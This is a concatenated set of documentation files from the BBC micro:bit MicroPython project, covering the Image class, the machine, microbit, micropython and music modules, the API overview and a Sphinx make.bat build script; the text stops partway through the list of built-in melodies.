"00900\n" "09090\n" "90009") The other form creates an empty image with ``width`` columns and ``height`` rows. Optionally ``buffer`` can be an array of ``width``×``height`` integers in range 0-9 to initialize the image:: Image(2, 2, b'\x08\x08\x08\x08') or:: Image(2, 2, bytearray([9,9,9,9])) Will create a 2 x 2 pixel image at full brightness. .. note:: Keyword arguments cannot be passed to ``buffer``. .. py:method:: width() Return the number of columns in the image. .. py:method:: height() Return the numbers of rows in the image. .. py:method:: set_pixel(x, y, value) Set the brightness of the pixel at column ``x`` and row ``y`` to the ``value``, which has to be between 0 (dark) and 9 (bright). This method will raise an exception when called on any of the built-in read-only images, like ``Image.HEART``. .. py:method:: get_pixel(x, y) Return the brightness of pixel at column ``x`` and row ``y`` as an integer between 0 and 9. .. py:method:: shift_left(n) Return a new image created by shifting the picture left by ``n`` columns. .. py:method:: shift_right(n) Same as ``image.shift_left(-n)``. .. py:method:: shift_up(n) Return a new image created by shifting the picture up by ``n`` rows. .. py:method:: shift_down(n) Same as ``image.shift_up(-n)``. .. py:method:: crop(x, y, w, h) Return a new image by cropping the picture to a width of ``w`` and a height of ``h``, starting with the pixel at column ``x`` and row ``y``. .. py:method:: copy() Return an exact copy of the image. .. py:method:: invert() Return a new image by inverting the brightness of the pixels in the source image. .. py:method:: fill(value) Set the brightness of all the pixels in the image to the ``value``, which has to be between 0 (dark) and 9 (bright). This method will raise an exception when called on any of the built-in read-only images, like ``Image.HEART``. .. py:method:: blit(src, x, y, w, h, xdest=0, ydest=0) Copy the rectangle defined by ``x``, ``y``, ``w``, ``h`` from the image ``src`` into this image at ``xdest``, ``ydest``. Areas in the source rectangle, but outside the source image are treated as having a value of 0. ``shift_left()``, ``shift_right()``, ``shift_up()``, ``shift_down()`` and ``crop()`` can are all implemented by using ``blit()``. For example, img.crop(x, y, w, h) can be implemented as:: def crop(self, x, y, w, h): res = Image(w, h) res.blit(self, x, y, w, h) return res Attributes ========== The ``Image`` class also has the following built-in instances of itself included as its attributes (the attribute names indicate what the image represents): * ``Image.HEART`` * ``Image.HEART_SMALL`` * ``Image.HAPPY`` * ``Image.SMILE`` * ``Image.SAD`` * ``Image.CONFUSED`` * ``Image.ANGRY`` * ``Image.ASLEEP`` * ``Image.SURPRISED`` * ``Image.SILLY`` * ``Image.FABULOUS`` * ``Image.MEH`` * ``Image.YES`` * ``Image.NO`` * ``Image.CLOCK12``, ``Image.CLOCK11``, ``Image.CLOCK10``, ``Image.CLOCK9``, ``Image.CLOCK8``, ``Image.CLOCK7``, ``Image.CLOCK6``, ``Image.CLOCK5``, ``Image.CLOCK4``, ``Image.CLOCK3``, ``Image.CLOCK2``, ``Image.CLOCK1`` * ``Image.ARROW_N``, ``Image.ARROW_NE``, ``Image.ARROW_E``, ``Image.ARROW_SE``, ``Image.ARROW_S``, ``Image.ARROW_SW``, ``Image.ARROW_W``, ``Image.ARROW_NW`` * ``Image.TRIANGLE`` * ``Image.TRIANGLE_LEFT`` * ``Image.CHESSBOARD`` * ``Image.DIAMOND`` * ``Image.DIAMOND_SMALL`` * ``Image.SQUARE`` * ``Image.SQUARE_SMALL`` * ``Image.RABBIT`` * ``Image.COW`` * ``Image.MUSIC_CROTCHET`` * ``Image.MUSIC_QUAVER`` * ``Image.MUSIC_QUAVERS`` * ``Image.PITCHFORK`` * ``Image.XMAS`` * ``Image.PACMAN`` * ``Image.TARGET`` * ``Image.TSHIRT`` * ``Image.ROLLERSKATE`` * ``Image.DUCK`` * ``Image.HOUSE`` * ``Image.TORTOISE`` * ``Image.BUTTERFLY`` * ``Image.STICKFIGURE`` * ``Image.GHOST`` * ``Image.SWORD`` * ``Image.GIRAFFE`` * ``Image.SKULL`` * ``Image.UMBRELLA`` * ``Image.SNAKE`` Finally, related collections of images have been grouped together:: * ``Image.ALL_CLOCKS`` * ``Image.ALL_ARROWS`` Operations ========== .. code:: repr(image) Get a compact string representation of the image. .. code:: str(image) Get a readable string representation of the image. .. code:: image1 + image2 Create a new image by adding the brightness values from the two images for each pixel. .. code:: image * n Create a new image by multiplying the brightness of each pixel by ``n``. ================================================ FILE: micropython/docs/index.rst ================================================ .. BBC Microbit Micropython documentation master file, created by sphinx-quickstart on Tue Oct 20 10:41:30 2015. You can adapt this file completely to your liking, but it should at least contain the root `toctree` directive. BBC micro:bit MicroPython documentation ======================================= Welcome! The BBC micro:bit is a small computing device for children. One of the languages it understands is the popular Python programming language. The version of Python that runs on the BBC micro:bit is called MicroPython. This documentation includes lessons for teachers and API documentation for developers (check out the index on the left). We hope you enjoy developing for the BBC micro:bit using MicroPython. If you're a new programmer, teacher or unsure where to start, begin with the tutorials. .. image:: comic.png .. note:: This project is under active development. Please help other developers by adding tips, how-tos, and Q&A to this document. Thanks! Projects related to MicroPython on the BBC micro:bit include: * `Mu `_ - a simple code editor for kids, teachers and beginner programmers. Probably the easiest way for people to program MicroPython on the BBC micro:bit. * `uFlash `_ - a command line tool for flashing raw Python scripts onto a BBC micro:bit. .. toctree:: :maxdepth: 2 :caption: Tutorials tutorials/introduction tutorials/hello tutorials/images tutorials/buttons tutorials/io tutorials/music tutorials/random tutorials/movement tutorials/gestures tutorials/direction tutorials/storage tutorials/speech tutorials/network tutorials/radio tutorials/next .. toctree:: :maxdepth: 2 :caption: API Reference microbit_micropython_api.rst microbit.rst accelerometer.rst audio.rst ble.rst button.rst compass.rst display.rst filesystem.rst i2c.rst image.rst machine.rst micropython.rst music.rst neopixel.rst os.rst pin.rst radio.rst random.rst speech.rst spi.rst uart.rst utime.rst .. toctree:: :maxdepth: 2 :caption: Developer Guide devguide/installation devguide/flashfirmware devguide/repl devguide/hexformat devguide/devfaq devguide/contributing .. toctree:: :maxdepth: 2 :caption: Indices and tables * :ref:`genindex` * :ref:`modindex` * :ref:`search` ================================================ FILE: micropython/docs/machine.rst ================================================ .. MicroPython license information =============================== The MIT License (MIT) Copyright (c) 2013-2017 Damien P. George, and others Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Machine ******* .. py:module:: machine The machine module contains specific functions related to the micro:bit hardware. Most functions in this module allow to achieve direct and unrestricted access to and control of hardware blocks on a system (like CPU, timers, buses, etc.). Used incorrectly, this can lead to malfunction, lockups, crashes of your board, and in extreme cases, hardware damage. Functions ========= .. method:: machine.unique_id() Returns a byte string with a unique identifier of a board. It will vary from one board instance to another. .. method:: machine.reset() Resets the device in a manner similar to pushing the external RESET button. .. method:: machine.freq() Returns CPU frequency in hertz. .. method:: machine.disable_irq() Disable interrupt requests. Returns the previous IRQ state which should be considered an opaque value. This return value should be passed to the :func:`machine.enable_irq()` function to restore interrupts to their original state, before :func:`machine.disable_irq()` was called. .. method:: machine.enable_irq() Re-enable interrupt requests. The *state* parameter should be the value that was returned from the most recent call to the :func:`machine.disable_irq()` function. .. method:: machine.time_pulse_us(pin, pulse_level, timeout_us=1000000) Time a pulse on the given *pin*, and return the duration of the pulse in microseconds. The *pulse_level* argument should be 0 to time a low pulse or 1 to time a high pulse. If the current input value of the pin is different to *pulse_level*, the function first (*) waits until the pin input becomes equal to *pulse_level*, then (**) times the duration that the pin is equal to *pulse_level*. If the pin is already equal to *pulse_level* then timing starts straight away. The function will return -2 if there was timeout waiting for condition marked (*) above, and -1 if there was timeout during the main measurement, marked (**) above. The timeout is the same for both cases and given by *timeout_us* (which is in microseconds). Reading Memory ============== The ``machine`` module allows you to read from the device's memory, getting 1 byte (8 bits; ``mem8``), 2 byte (16 bits; ``mem16``), or 4 byte (32 bits; ``mem32``) words from physical addresses. For example: ``mem8[0x00]`` reads 1 byte on physical address ``0x00``. This has a number of uses, for example if you'd like to read data from the nRF51 registers. ================================================ FILE: micropython/docs/make.bat ================================================ @ECHO OFF REM Command file for Sphinx documentation if "%SPHINXBUILD%" == "" ( set SPHINXBUILD=sphinx-build ) set BUILDDIR=_build set ALLSPHINXOPTS=-d %BUILDDIR%/doctrees %SPHINXOPTS% . set I18NSPHINXOPTS=%SPHINXOPTS% . if NOT "%PAPER%" == "" ( set ALLSPHINXOPTS=-D latex_paper_size=%PAPER% %ALLSPHINXOPTS% set I18NSPHINXOPTS=-D latex_paper_size=%PAPER% %I18NSPHINXOPTS% ) if "%1" == "" goto help if "%1" == "help" ( :help echo.Please use `make ^` where ^ is one of echo. html to make standalone HTML files echo. dirhtml to make HTML files named index.html in directories echo. singlehtml to make a single large HTML file echo. pickle to make pickle files echo. json to make JSON files echo. htmlhelp to make HTML files and a HTML help project echo. qthelp to make HTML files and a qthelp project echo. devhelp to make HTML files and a Devhelp project echo. epub to make an epub echo. latex to make LaTeX files, you can set PAPER=a4 or PAPER=letter echo. text to make text files echo. man to make manual pages echo. texinfo to make Texinfo files echo. gettext to make PO message catalogs echo. changes to make an overview over all changed/added/deprecated items echo. xml to make Docutils-native XML files echo. pseudoxml to make pseudoxml-XML files for display purposes echo. linkcheck to check all external links for integrity echo. doctest to run all doctests embedded in the documentation if enabled goto end ) if "%1" == "clean" ( for /d %%i in (%BUILDDIR%\*) do rmdir /q /s %%i del /q /s %BUILDDIR%\* goto end ) %SPHINXBUILD% 2> nul if errorlevel 9009 ( echo. echo.The 'sphinx-build' command was not found. Make sure you have Sphinx echo.installed, then set the SPHINXBUILD environment variable to point echo.to the full path of the 'sphinx-build' executable. Alternatively you echo.may add the Sphinx directory to PATH. echo. echo.If you don't have Sphinx installed, grab it from echo.http://sphinx-doc.org/ exit /b 1 ) if "%1" == "html" ( %SPHINXBUILD% -b html %ALLSPHINXOPTS% %BUILDDIR%/html if errorlevel 1 exit /b 1 echo. echo.Build finished. The HTML pages are in %BUILDDIR%/html. goto end ) if "%1" == "dirhtml" ( %SPHINXBUILD% -b dirhtml %ALLSPHINXOPTS% %BUILDDIR%/dirhtml if errorlevel 1 exit /b 1 echo. echo.Build finished. The HTML pages are in %BUILDDIR%/dirhtml. goto end ) if "%1" == "singlehtml" ( %SPHINXBUILD% -b singlehtml %ALLSPHINXOPTS% %BUILDDIR%/singlehtml if errorlevel 1 exit /b 1 echo. echo.Build finished. The HTML pages are in %BUILDDIR%/singlehtml. goto end ) if "%1" == "pickle" ( %SPHINXBUILD% -b pickle %ALLSPHINXOPTS% %BUILDDIR%/pickle if errorlevel 1 exit /b 1 echo. echo.Build finished; now you can process the pickle files. goto end ) if "%1" == "json" ( %SPHINXBUILD% -b json %ALLSPHINXOPTS% %BUILDDIR%/json if errorlevel 1 exit /b 1 echo. echo.Build finished; now you can process the JSON files. goto end ) if "%1" == "htmlhelp" ( %SPHINXBUILD% -b htmlhelp %ALLSPHINXOPTS% %BUILDDIR%/htmlhelp if errorlevel 1 exit /b 1 echo. echo.Build finished; now you can run HTML Help Workshop with the ^ .hhp project file in %BUILDDIR%/htmlhelp. goto end ) if "%1" == "qthelp" ( %SPHINXBUILD% -b qthelp %ALLSPHINXOPTS% %BUILDDIR%/qthelp if errorlevel 1 exit /b 1 echo. echo.Build finished; now you can run "qcollectiongenerator" with the ^ .qhcp project file in %BUILDDIR%/qthelp, like this: echo.^> qcollectiongenerator %BUILDDIR%\qthelp\BBCMicrobitMicropython.qhcp echo.To view the help file: echo.^> assistant -collectionFile %BUILDDIR%\qthelp\BBCMicrobitMicropython.ghc goto end ) if "%1" == "devhelp" ( %SPHINXBUILD% -b devhelp %ALLSPHINXOPTS% %BUILDDIR%/devhelp if errorlevel 1 exit /b 1 echo. echo.Build finished. goto end ) if "%1" == "epub" ( %SPHINXBUILD% -b epub %ALLSPHINXOPTS% %BUILDDIR%/epub if errorlevel 1 exit /b 1 echo. echo.Build finished. The epub file is in %BUILDDIR%/epub. goto end ) if "%1" == "latex" ( %SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex if errorlevel 1 exit /b 1 echo. echo.Build finished; the LaTeX files are in %BUILDDIR%/latex. goto end ) if "%1" == "latexpdf" ( %SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex cd %BUILDDIR%/latex make all-pdf cd %BUILDDIR%/.. echo. echo.Build finished; the PDF files are in %BUILDDIR%/latex. goto end ) if "%1" == "latexpdfja" ( %SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex cd %BUILDDIR%/latex make all-pdf-ja cd %BUILDDIR%/.. echo. echo.Build finished; the PDF files are in %BUILDDIR%/latex. goto end ) if "%1" == "text" ( %SPHINXBUILD% -b text %ALLSPHINXOPTS% %BUILDDIR%/text if errorlevel 1 exit /b 1 echo. echo.Build finished. The text files are in %BUILDDIR%/text. goto end ) if "%1" == "man" ( %SPHINXBUILD% -b man %ALLSPHINXOPTS% %BUILDDIR%/man if errorlevel 1 exit /b 1 echo. echo.Build finished. The manual pages are in %BUILDDIR%/man. goto end ) if "%1" == "texinfo" ( %SPHINXBUILD% -b texinfo %ALLSPHINXOPTS% %BUILDDIR%/texinfo if errorlevel 1 exit /b 1 echo. echo.Build finished. The Texinfo files are in %BUILDDIR%/texinfo. goto end ) if "%1" == "gettext" ( %SPHINXBUILD% -b gettext %I18NSPHINXOPTS% %BUILDDIR%/locale if errorlevel 1 exit /b 1 echo. echo.Build finished. The message catalogs are in %BUILDDIR%/locale. goto end ) if "%1" == "changes" ( %SPHINXBUILD% -b changes %ALLSPHINXOPTS% %BUILDDIR%/changes if errorlevel 1 exit /b 1 echo. echo.The overview file is in %BUILDDIR%/changes. goto end ) if "%1" == "linkcheck" ( %SPHINXBUILD% -b linkcheck %ALLSPHINXOPTS% %BUILDDIR%/linkcheck if errorlevel 1 exit /b 1 echo. echo.Link check complete; look for any errors in the above output ^ or in %BUILDDIR%/linkcheck/output.txt. goto end ) if "%1" == "doctest" ( %SPHINXBUILD% -b doctest %ALLSPHINXOPTS% %BUILDDIR%/doctest if errorlevel 1 exit /b 1 echo. echo.Testing of doctests in the sources finished, look at the ^ results in %BUILDDIR%/doctest/output.txt. goto end ) if "%1" == "xml" ( %SPHINXBUILD% -b xml %ALLSPHINXOPTS% %BUILDDIR%/xml if errorlevel 1 exit /b 1 echo. echo.Build finished. The XML files are in %BUILDDIR%/xml. goto end ) if "%1" == "pseudoxml" ( %SPHINXBUILD% -b pseudoxml %ALLSPHINXOPTS% %BUILDDIR%/pseudoxml if errorlevel 1 exit /b 1 echo. echo.Build finished. The pseudo-XML files are in %BUILDDIR%/pseudoxml. goto end ) :end ================================================ FILE: micropython/docs/microbit.rst ================================================ Microbit Module *************** .. py:module:: microbit The ``microbit`` module gives you access to all the hardware that is built-in into your board. Functions ========= .. py:function:: panic(n) Enter a panic mode. Requires restart. Pass in an arbitrary integer <= 255 to indicate a status:: microbit.panic(255) .. py:function:: reset() Restart the board. .. py:function:: sleep(n) Wait for ``n`` milliseconds. One second is 1000 milliseconds, so:: microbit.sleep(1000) will pause the execution for one second. ``n`` can be an integer or a floating point number. .. py:function:: running_time() Return the number of milliseconds since the board was switched on or restarted. .. py:function:: temperature() Return the temperature of the micro:bit in degrees Celcius. Attributes ========== .. toctree:: :maxdepth: 1 button.rst pin.rst Classes ======= .. toctree:: :maxdepth: 1 image.rst Modules ======= .. toctree:: :maxdepth: 1 display.rst uart.rst spi.rst i2c.rst accelerometer.rst compass.rst ================================================ FILE: micropython/docs/microbit_micropython_api.rst ================================================ micro:bit Micropython API ************************* The microbit module =================== Everything directly related to interacting with the hardware lives in the `microbit` module. For ease of use it's recommended you start all scripts with:: from microbit import * The following documentation assumes you have done this. There are a few functions available directly:: # sleep for the given number of milliseconds. sleep(ms) # returns the number of milliseconds since the micro:bit was last switched on. running_time() # makes the micro:bit enter panic mode (this usually happens when the DAL runs # out of memory, and causes a sad face to be drawn on the display). The error # code can be any arbitrary integer value. panic(error_code) # resets the micro:bit. reset() The rest of the functionality is provided by objects and classes in the microbit module, as described below. Note that the API exposes integers only (ie no floats are needed, but they may be accepted). We thus use milliseconds for the standard time unit. .. note:: You can see a list of all available modules by writing ``help('modules')`` in the REPL. Buttons ------- There are 2 buttons:: button_a button_b These are both objects and have the following methods:: # returns True or False to indicate if the button is pressed at the time of # the method call. button.is_pressed() # returns True or False to indicate if the button was pressed since the device # started or the last time this method was called. button.was_pressed() # returns the running total of button presses, and resets this counter to zero button.get_presses() The LED display --------------- The LED display is exposed via the `display` object:: # gets the brightness of the pixel (x,y). Brightness can be from 0 (the pixel # is off) to 9 (the pixel is at maximum brightness). display.get_pixel(x, y) # sets the brightness of the pixel (x,y) to val (between 0 [off] and 9 [max # brightness], inclusive). display.set_pixel(x, y, val) # clears the display. display.clear() # shows the image. display.show(image, delay=0, wait=True, loop=False, clear=False) # shows each image or letter in the iterable, with delay ms. in between each. display.show(iterable, delay=400, wait=True, loop=False, clear=False) # scrolls a string across the display (more exciting than display.show for # written messages). display.scroll(string, delay=400) Pins ---- Provide digital and analog input and output functionality, for the pins in the connector. Some pins are connected internally to the I/O that drives the LED matrix and the buttons. Each pin is provided as an object directly in the ``microbit`` module. This keeps the API relatively flat, making it very easy to use: * pin0 * pin1 * ... * pin15 * pin16 * *Warning: P17-P18 (inclusive) are unavailable.* * pin19 * pin20 Each of these pins are instances of the ``MicroBitPin`` class, which offers the following API:: # value can be 0, 1, False, True pin.write_digital(value) # returns either 1 or 0 pin.read_digital() # value is between 0 and 1023 pin.write_analog(value) # returns an integer between 0 and 1023 pin.read_analog() # sets the period of the PWM output of the pin in milliseconds # (see https://en.wikipedia.org/wiki/Pulse-width_modulation) pin.set_analog_period(int) # sets the period of the PWM output of the pin in microseconds # (see https://en.wikipedia.org/wiki/Pulse-width_modulation) pin.set_analog_period_microseconds(int) # returns boolean pin.is_touched() Images ------ .. note:: You don't always need to create one of these yourself - you can access the image shown on the display directly with `display.image`. `display.image` is just an instance of `Image`, so you can use all of the same methods. Images API:: # creates an empty 5x5 image image = Image() # create an image from a string - each character in the string represents an # LED - 0 (or space) is off and 9 is maximum brightness. The colon ":" # indicates the end of a line. image = Image('90009:09090:00900:09090:90009:') # create an empty image of given size image = Image(width, height) # initialises an Image with the specified width and height. The buffer # should be an array of length width * height image = Image(width, height, buffer) # methods # returns the image's width (most often 5) image.width() # returns the image's height (most often 5) image.height() # sets the pixel at the specified position (between 0 and 9). May fail for # constant images. image.set_pixel(x, y, value) # gets the pixel at the specified position (between 0 and 9) image.get_pixel(x, y) # returns a new image created by shifting the picture left 'n' times. image.shift_left(n) # returns a new image created by shifting the picture right 'n' times. image.shift_right(n) # returns a new image created by shifting the picture up 'n' times. image.shift_up(n) # returns a new image created by shifting the picture down 'n' times. image.shift_down(n) # get a compact string representation of the image repr(image) # get a more readable string representation of the image str(image) #operators # returns a new image created by superimposing the two images image + image # returns a new image created by multiplying the brightness of each pixel by n image * n # built-in images. Image.HEART Image.HEART_SMALL Image.HAPPY Image.SMILE Image.SAD Image.CONFUSED Image.ANGRY Image.ASLEEP Image.SURPRISED Image.SILLY Image.FABULOUS Image.MEH Image.YES Image.NO Image.CLOCK12 # clock at 12 o' clock Image.CLOCK11 ... # many clocks (Image.CLOCKn) Image.CLOCK1 # clock at 1 o'clock Image.ARROW_N ... # arrows pointing N, NE, E, SE, S, SW, W, NW (microbit.Image.ARROW_direction) Image.ARROW_NW Image.TRIANGLE Image.TRIANGLE_LEFT Image.CHESSBOARD Image.DIAMOND Image.DIAMOND_SMALL Image.SQUARE Image.SQUARE_SMALL Image.RABBIT Image.COW Image.MUSIC_CROTCHET Image.MUSIC_QUAVER Image.MUSIC_QUAVERS Image.PITCHFORK Image.XMAS Image.PACMAN Image.TARGET Image.TSHIRT Image.ROLLERSKATE Image.DUCK Image.HOUSE Image.TORTOISE Image.BUTTERFLY Image.STICKFIGURE Image.GHOST Image.SWORD Image.GIRAFFE Image.SKULL Image.UMBRELLA Image.SNAKE # built-in lists - useful for animations, e.g. display.show(Image.ALL_CLOCKS) Image.ALL_CLOCKS Image.ALL_ARROWS The accelerometer ----------------- The accelerometer is accessed via the ``accelerometer`` object:: # read the X axis of the device. Measured in milli-g. accelerometer.get_x() # read the Y axis of the device. Measured in milli-g. accelerometer.get_y() # read the Z axis of the device. Measured in milli-g. accelerometer.get_z() # get tuple of all three X, Y and Z readings (listed in that order). accelerometer.get_values() # return the name of the current gesture. accelerometer.current_gesture() # return True or False to indicate if the named gesture is currently active. accelerometer.is_gesture(name) # return True or False to indicate if the named gesture was active since the # last call. accelerometer.was_gesture(name) # return a tuple of the gesture history. The most recent is listed last. accelerometer.get_gestures() The recognised gestures are: ``up``, ``down``, ``left``, ``right``, ``face up``, ``face down``, ``freefall``, ``3g``, ``6g``, ``8g``, ``shake``. The compass ----------- The compass is accessed via the `compass` object:: # calibrate the compass (this is needed to get accurate readings). compass.calibrate() # return a numeric indication of degrees offset from "north". compass.heading() # return an numeric indication of the strength of magnetic field around # the micro:bit. compass.get_field_strength() # returns True or False to indicate if the compass is calibrated. compass.is_calibrated() # resets the compass to a pre-calibration state. compass.clear_calibration() I2C bus ------- There is an I2C bus on the micro:bit that is exposed via the `i2c` object. It has the following methods:: # read n bytes from device with addr; repeat=True means a stop bit won't # be sent. i2c.read(addr, n, repeat=False) # write buf to device with addr; repeat=True means a stop bit won't be sent. i2c.write(addr, buf, repeat=False) UART ---- Use ``uart`` to communicate with a serial device connected to the device's I/O pins:: # set up communication (use pins 0 [TX] and 1 [RX]) with a baud rate of 9600. uart.init() # return True or False to indicate if there are incoming characters waiting to # be read. uart.any() # return (read) n incoming characters. uart.read(n) # return (read) as much incoming data as possible. uart.read() # return (read) all the characters to a newline character is reached. uart.readline() # read bytes into the referenced buffer. uart.readinto(buffer) # write bytes from the buffer to the connected device. uart.write(buffer) ================================================ FILE: micropython/docs/micropython.rst ================================================ .. MicroPython license information =============================== The MIT License (MIT) Copyright (c) 2013-2017 Damien P. George, and others Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. MicroPython *********** .. py:module:: micropython Access and control MicroPython internals. Functions ========= .. py:function:: micropython.const(expr) Used to declare that the expression is a constant so that the compiler can optimise it. The use of this function should be as follows: .. code-block:: python from micropython import const CONST_X = const(123) CONST_Y = const(2 * CONST_X + 1) Constants declared this way are still accessible as global variables from outside the module they are declared in. On the other hand, if a constant begins with an underscore then it is hidden, it is not available as a global variable, and does not take up any memory during execution. .. py:function:: micropython.opt_level([level]) If level is given then this function sets the optimisation level for subsequent compilation of scripts, and returns None. Otherwise it returns the current optimisation level. The optimisation level controls the following compilation features: * Assertions: at level 0 assertion statements are enabled and compiled into the bytecode; at levels 1 and higher assertions are not compiled. * Built-in ``__debug__`` variable: at level 0 this variable expands to True; at levels 1 and higher it expands to False. * Source-code line numbers: at levels 0, 1 and 2 source-code line number are stored along with the bytecode so that exceptions can report the line number they occurred at; at levels 3 and higher line numbers are not stored. The default optimisation level is usually level 0. .. py:function:: micropython.mem_info([verbose]) Print information about currently used memory. If the verbose argument is given then extra information is printed. .. py:function:: micropython.qstr_info([verbose]) Print information about currently interned strings. If the verbose argument is given then extra information is printed. This includes the number of interned strings and the amount of RAM they use. In verbose mode it prints out the names of all RAM-interned strings. .. py:function:: micropython.stack_use() Return an integer representing the current amount of stack that is being used. The absolute value of this is not particularly useful, rather it should be used to compute differences in stack usage at different points. .. py:function:: micropython.heap_lock() .. py:function:: micropython.heap_unlock() Lock or unlock the heap. When locked no memory allocation can occur and a ``MemoryError`` will be raised if any heap allocation is attempted. .. py:function:: micropython.kbd_intr(chr) Set the character that will raise a KeyboardInterrupt exception. By default this is set to 3 during script execution, corresponding to Ctrl-C. Passing -1 to this function will disable capture of Ctrl-C, and passing 3 will restore it. This function can be used to prevent the capturing of Ctrl-C on the incoming stream of characters that is usually used for the REPL, in case that stream is used for other purposes ================================================ FILE: micropython/docs/music.rst ================================================ Music ***** .. py:module:: music This is the ``music`` module. You can use it to play simple tunes, provided that you connect a speaker to your board. By default the ``music`` module expects the speaker to be connected via pin 0: .. image:: music-pins.png This arrangement can be overridden (as discussed below). To access this module you need to:: import music We assume you have done this for the examples below. Musical Notation ================ An individual note is specified thus:: NOTE[octave][:duration] For example, ``A1:4`` refers to the note "A" in octave 1 that lasts for four ticks (a tick is an arbitrary length of time defined by a tempo setting function - see below). If the note name ``R`` is used then it is treated as a rest (silence). Accidentals (flats and sharps) are denoted by the ``b`` (flat - a lower case b) and ``#`` (sharp - a hash symbol). For example, ``Ab`` is A-flat and ``C#`` is C-sharp. **Note names are case-insensitive.** The ``octave`` and ``duration`` parameters are states that carry over to subsequent notes until re-specified. The default states are ``octave = 4`` (containing middle C) and ``duration = 4`` (a crotchet, given the default tempo settings - see below). For example, if 4 ticks is a crotchet, the following list is crotchet, quaver, quaver, crotchet based arpeggio:: ['c1:4', 'e:2', 'g', 'c2:4'] The opening of Beethoven's 5th Symphony would be encoded thus:: ['r4:2', 'g', 'g', 'g', 'eb:8', 'r:2', 'f', 'f', 'f', 'd:8'] The definition and scope of an octave conforms to the table listed `on this page about scientific pitch notation`_. For example, middle "C" is ``'c4'`` and concert "A" (440) is ``'a4'``. Octaves start on the note "C". .. _on this page about scientific pitch notation: https://en.wikipedia.org/wiki/Scientific_pitch_notation#Table_of_note_frequencies Functions ========= .. py:function:: set_tempo(ticks=4, bpm=120) Sets the approximate tempo for playback. A number of ticks (expressed as an integer) constitute a beat. Each beat is to be played at a certain frequency per minute (expressed as the more familiar BPM - beats per minute - also as an integer). Suggested default values allow the following useful behaviour: * ``music.set_tempo()`` - reset the tempo to default of ticks = 4, bpm = 120 * ``music.set_tempo(ticks=8)`` - change the "definition" of a beat * ``music.set_tempo(bpm=180)`` - just change the tempo To work out the length of a tick in milliseconds is very simple arithmetic: ``60000/bpm/ticks_per_beat`` . For the default values that's ``60000/120/4 = 125 milliseconds`` or ``1 beat = 500 milliseconds``. .. py:function:: get_tempo() Gets the current tempo as a tuple of integers: ``(ticks, bpm)``. .. py:function:: play(music, pin=microbit.pin0, wait=True, loop=False) Plays ``music`` containing the musical DSL defined above. If ``music`` is a string it is expected to be a single note such as, ``'c1:4'``. If ``music`` is specified as a list of notes (as defined in the section on the musical DSL, above) then they are played one after the other to perform a melody. In both cases, the ``duration`` and ``octave`` values are reset to their defaults before the music (whatever it may be) is played. An optional argument to specify the output pin can be used to override the default of ``microbit.pin0``. If ``wait`` is set to ``True``, this function is blocking. If ``loop`` is set to ``True``, the tune repeats until ``stop`` is called (see below) or the blocking call is interrupted. .. py:function:: pitch(frequency, duration=-1, pin=microbit.pin0, wait=True) Plays a pitch at the integer frequency given for the specified number of milliseconds. For example, if the frequency is set to 440 and the length to 1000 then we hear a standard concert A for one second. Note that you can only play one pitch on one pin at any one time. If ``wait`` is set to ``True``, this function is blocking. If ``duration`` is negative the pitch is played continuously until either the blocking call is interrupted or, in the case of a background call, a new frequency is set or ``stop`` is called (see below). .. py:function:: stop(pin=microbit.pin0) Stops all music playback on a given pin, eg. ``music.stop(pin1)``. If no pin is given, eg. ``music.stop()`` pin0 is assumed. .. py:function:: reset() Resets the state of the following attributes in the following way: * ``ticks = 4`` * ``bpm = 120`` * ``duration = 4`` * ``octave = 4`` Built in Melodies ----------------- For the purposes of education and entertainment, the module contains several example tunes that are expressed as Python lists. They can be used like this:: >>> import music >>> music.play(music.NYAN) All the tunes are either out of copyright, composed by Nicholas H.Tollervey and released to the public domain or have an unknown composer and are covered by a fair (educational) use provision. They are: * ``DADADADUM`` - the opening to Beethoven's 5th Symphony in C minor. * ``ENTERTAINER`` - the opening fragment of Scott Joplin's Ragtime classic "The Entertainer". * ``PRELUDE`` - the opening of the first Prelude in C Major of J.S.Bach's 48 Preludes and Fugues. * ``ODE`` - the "Ode to Joy" theme from Beethoven's 9th Symphony in D minor. * ``NYAN`` - the Nyan Cat theme (http://www.nyan.cat/). The composer is unknown. This is fair use for educational porpoises (as they say in New York). * ``RINGTONE`` - something that sounds like a mobile phone ringtone. To be used to indicate an incoming message. * ``FUNK`` - a funky bass line for secret agents and criminal masterminds. * ``BLUES`` - a boogie-woogie 12-bar blues walking bass. * ``BIRTHDAY`` - "Happy Birthday to You..." for copyright status see: http://www.bbc.co.uk/news/world-us-canada-34332853 * ``WEDDING`` - the bridal 